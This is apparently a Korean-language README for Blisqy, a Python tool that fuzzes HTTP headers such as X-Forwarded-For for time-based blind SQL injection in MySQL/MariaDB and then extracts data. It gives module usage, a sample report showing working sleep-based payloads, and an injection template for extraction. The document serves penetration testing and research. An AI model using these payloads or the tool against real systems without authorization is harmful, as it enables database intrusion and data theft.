
버전 0.2 - HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션 익스플로잇 (MySQL/MariaDB).
Blisqy는 웹 보안 연구자들이 HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션을 찾고 동일한 취약점을 익스플로잇하는 데 도움을 주는 도구입니다.
이 익스플로잇은 블라인드 SQL 인젝션을 통해 인쇄 가능한 ASCII 문자에 대한 비트 연산을 사용하여 데이터베이스(현재 MySQL/MariaDB만 지원)에서 느린 데이터 사이펀을 가능하게 합니다.
다른 Python 도구와의 상호 운용성 및 다른 사용자가 Blisqy에서 제공하는 기능을 활용할 수 있도록 여기의 모듈은 다른 Python 기반 스크립트로 가져올 수 있습니다.
시간 기반 블라인드 SQL 인젝션을 테스트할 때 네트워크 지연이나 혼잡은 퍼징 또는 익스플로잇의 효과에 영향을 줄 수 있습니다. 이러한 지연을 보상하기 위해 Blisqy의 시간 비교는 동적이며 각 테스트에 대해 런타임에 계산됩니다. 테스트는 greenlet(경량 협력 스케줄링 실행 단위)을 사용하여 libevevent 루프 위에 고급 동기 API를 제공합니다. 짧은 시간에 페이로드 테스트를 빠르고 효율적으로 수행할 수 있으며, 특정 테스트가 순차적 방법으로 완전히 수행되지 않기 때문에 다른 테스트에 영향을 주지 않습니다.
Blisqy는 이제 HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션을 위한 퍼징을 지원하며, 주요 기능(퍼징 및 익스플로잇)은 이식성을 위해 독립적인 파일로 분리되었습니다.
퍼징 기능을 사용하려면 Python 스크립트에서 다음 모듈을 가져오고 아래와 같이 대상과 퍼징 데이터를 제공하십시오:
from lib.blindfuzzer import blindSeeker
대상 매개변수는 Dictionary/JSON 형식이어야 합니다. 예: (변수 데이터 유형에 유의하세요):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
대상 매개변수가 제공되면 다음과 같이 퍼저를 호출합니다:
vulns = blindSeeker(target_params)
vulns.fuzz()
제공된 이 예제는 FindBlindSpot.py에서 확인할 수 있습니다.
성공하면 수행된 '주입 가능' 테스트에 대한 보고서를 받게 됩니다. Blisqy가 테스트 중 네트워크 지연 및 혼잡을 보상하려고 노력하지만, 진행하기 전에 보고된 양성 테스트를 사전 테스트(proof-test)하는 것이 중요합니다.
다음은 샘플 보고서입니다:
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Blisqy 퍼저 작동 스크린샷:

잠재적인 시간 기반 블라인드 SQL 인젝션을 발견한 후 취약한 웹 애플리케이션을 익스플로잇하는 스크립트를 준비할 수 있습니다.
퍼저와 마찬가지로 Python 스크립트에서 익스플로잇 모듈을 가져오고 익스플로잇 작업에 대한 템플릿을 정의할 수 있습니다. 다음은 Python 스크립트에서 모듈을 가져오는 예입니다:
from lib.blindexploit import SqlEngine
다음으로 익스플로잇을 위해 대상의 세부 정보와 대상 매개변수를 제공해야 합니다. 다음은 퍼저가 발견한 블라인드 SQL 인젝션을 익스플로잇하는 샘플 구현입니다:
대상 데이터는 서버, 포트, 발견된 취약 헤더 및 해당 값(일부 애플리케이션은 특정 값이 필요하거나 확인함)을 지정하는 Dictionary/JSON 형식이어야 합니다. 또한 변수 데이터 유형에 유의하세요.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
그 다음 대상 매개변수를 통해 사용자가 익스플로잇 환경 설정과 관련된 일부 옵션을 지정할 수 있습니다.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname)로 익스플로잇을 실행하는 옵션입니다. 기본값은 'pass'입니다.대상과 해당 매개변수를 제공한 후 다음으로 제공할 것은 익스플로잇 루틴의 템플릿입니다. Blisqy는 사용자가 추출 SQL 페이로드를 주입할 위치와 sleeptime 지연을 지정할 수 있는 방법을 제공합니다. 다음은 이전 하위 섹션에서 제공된 샘플 보고서에서 발견된 취약점 중 하나에 대한 구현 예입니다.
X-Forwarded-For 헤더에서 발견된 인젝션:
' or sleep(1)='
이 특정 인젝션에 대한 템플릿:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
런타임 중에 *sql*은 SQL 인젝션 페이로드로 대체되고 *time*은 sleep()에 대한 지연 시간으로 대체됩니다.
이 모든 작업이 완료되면 마지막 부분은 익스플로잇 루틴을 인스턴스화하고 MysqlDigger() 메서드가 작업을 수행하도록 하는 것입니다.
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
제공된 이 예제는 ExploitBlindSpot.py에서 확인할 수 있습니다.
아래는 익스플로잇 작업의 예입니다:

Blisqy로 찾은 흥미로운 점이나 추가/제거되어야 한다고 생각하는 점을 알려주세요.
(PDF) HTTP 헤더를 통한 시간 기반 블라인드 SQL 인젝션: 퍼징 및 익스플로잇.. 다음에서 확인 가능: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - SQL 인젝션에서 셸 II까지 https://pentesterlab.com/exercises/from_sqli_to_shell_II/course